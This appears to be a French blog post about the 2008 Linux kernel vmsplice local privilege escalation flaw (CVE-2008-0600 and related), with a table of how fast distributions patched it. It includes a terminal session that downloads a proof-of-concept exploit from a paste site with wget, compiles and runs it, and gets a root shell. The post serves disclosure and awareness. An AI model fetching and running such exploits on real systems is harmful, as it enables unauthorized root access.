Faille dans le noyau Linux.
Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d’obtenir les privilèges root en exploitant l’appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.
La faille
L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.
Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :
nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]
[ <=> ] 7 336 --.--K/s
13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]
nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#
Réactions
La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;
| Distribution | Date / Heure | Délais | Référence |
|---|---|---|---|
| Debian GNU/Linux | 11-02-2008 13:58 | +0 heure | DSA 1494-1 |
| Fedora | 11-02-2008 22:39 | +8 heures | FEDORA-2008-1423 |
| Slackware Linux | 12-02-2008 02:00 | +12 heures | SSA:2008-042-01 |
| Mandriva Linux | 12-02-2008 07:06 | +19 heures | MDVSA-2008:043 |
| Frugalware Linux | 12-02-2008 11:17 | +21 heures | FSA-369 |
| openSUSE | 12-02-2008 12:43 | +23 heures | SUSE-SA:2008:007 |
| rPath Linux | 12-02-2008 16:28 | +26 heures | rPSA-2008-0052-1 |
| Red Hat Enterprise Linux | 12-02-2008 16:54 | +27 heures | RHSA-2008:0129-01 |
| Ubuntu | 12-02-2008 17:23 | +27 heures | USN-577-1 |
| CentOS | 13-02-2008 03:27 | +37 heures | CESA-2008:012 |
On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.
Pour en savoir plus ;
- Un article technique de LWN.
- Le changelog de la version 2.6.24.2.
- Avis de sécurité : Secunia - FrSirt - CVE-2008-0009 - CVE-2008-0010 - CVE-2008-0600.